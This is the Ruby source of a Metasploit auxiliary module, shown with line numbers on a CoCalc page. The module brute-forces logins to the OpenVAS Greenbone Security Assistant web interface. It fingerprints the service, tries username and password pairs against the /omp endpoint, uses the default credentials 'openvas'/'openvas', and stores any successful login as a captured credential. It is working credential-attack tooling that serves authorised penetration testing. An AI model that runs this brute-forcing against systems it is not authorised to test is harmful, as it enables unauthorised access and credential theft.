CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::AuthBrute
10

11
  include Msf::Auxiliary::Scanner
12

13
  def initialize
14
    super(
15
      'Name'           => 'OpenVAS gsad Web Interface Login Utility',
16
      'Description'    => %q{
17
        This module simply attempts to login to an OpenVAS gsad interface
18
        using a specific user/pass.
19
      },
20
      'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
21
      'License'        => MSF_LICENSE,
22
      'DefaultOptions' => { 'SSL' => true }
23
    )
24

25
    register_options(
26
      [
27
        Opt::RPORT(443),
28
        OptString.new('URI', [true, "URI for OpenVAS omp login. Default is /omp", "/omp"]),
29
        OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
30
      ])
31

32
    register_advanced_options(
33
    [
34
      OptString.new('OMP_text', [true, "value for OpenVAS omp text login hidden field", "/omp?cmd=get_tasks&amp;overrides=1"]),
35
      OptString.new('OMP_cmd', [true, "value for OpenVAS omp cmd login hidden field", "login"])
36
    ])
37
  end
38

39
  def run_host(ip)
40
    begin
41
      res = send_request_cgi({
42
        'uri'     => datastore['URI'],
43
        'method'  => 'GET'
44
        }, 25)
45
      http_fingerprint({ :response => res })
46
    rescue ::Rex::ConnectionError => e
47
      vprint_error("#{msg} #{datastore['URI']} - #{e}")
48
      return
49
    end
50

51
    if not res
52
      vprint_error("#{msg} #{datastore['URI']} - No response")
53
      return
54
    end
55
    if res.code != 200
56
      vprint_error("#{msg} - Expected 200 HTTP code - not gsad?")
57
      return
58
    end
59
    if res.body !~ /Greenbone Security Assistant \(GSA\)/
60
      vprint_error("#{msg} - Expected GSA keyword on page - not gsad?")
61
      return
62
    end
63

64
    each_user_pass do |user, pass|
65
      do_login(user, pass)
66
    end
67
  end
68

69
  def do_login(user='openvas', pass='openvas')
70
    vprint_status("#{msg} - Trying username:'#{user}' with password:'#{pass}'")
71
    headers = {}
72
    begin
73
      res = send_request_cgi({
74
        'encode'   => true,
75
        'uri'      => datastore['URI'],
76
        'method'   => 'POST',
77
        'headers'  => headers,
78
        'vars_post' => {
79
          'cmd' => datastore['OMP_cmd'],
80
          'text' => datastore['OMP_text'],
81
          'login' => user,
82
          'password' => pass
83
        }
84
      }, 25)
85

86
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
87
      print_error("#{msg} HTTP Connection Failed, Aborting")
88
      return :abort
89
    end
90

91
    if not res
92
      print_error("#{msg} HTTP Connection Error - res, Aborting")
93
      return :abort
94
    end
95

96
    # vprint_status("#{msg} GOT BODY. '#{user}' : '#{pass}' - #{res.code} #{res.body}")
97

98
    if res.code == 303
99
      print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
100

101
      report_cred(
102
        ip: datastore['RHOST'],
103
        port: datastore['RPORT'],
104
        service_name: 'openvas-gsa',
105
        user: user,
106
        password: pass,
107
        proof: res.code.to_s
108
      )
109
      return :next_user
110
    end
111
    vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
112
    return :skip_pass
113
  end
114

115
  def report_cred(opts)
116
    service_data = {
117
      address: opts[:ip],
118
      port: opts[:port],
119
      service_name: opts[:service_name],
120
      protocol: 'tcp',
121
      workspace_id: myworkspace_id
122
    }
123

124
    credential_data = {
125
      origin_type: :service,
126
      module_fullname: fullname,
127
      username: opts[:user],
128
      private_data: opts[:password],
129
      private_type: :password
130
    }.merge(service_data)
131

132
    login_data = {
133
      core: create_credential(credential_data),
134
      status: Metasploit::Model::Login::Status::UNTRIED,
135
      proof: opts[:proof]
136
    }.merge(service_data)
137

138
    create_credential_login(login_data)
139
  end
140

141
  def msg
142
    "#{vhost}:#{rport} OpenVAS gsad -"
143
  end
144
end
145

146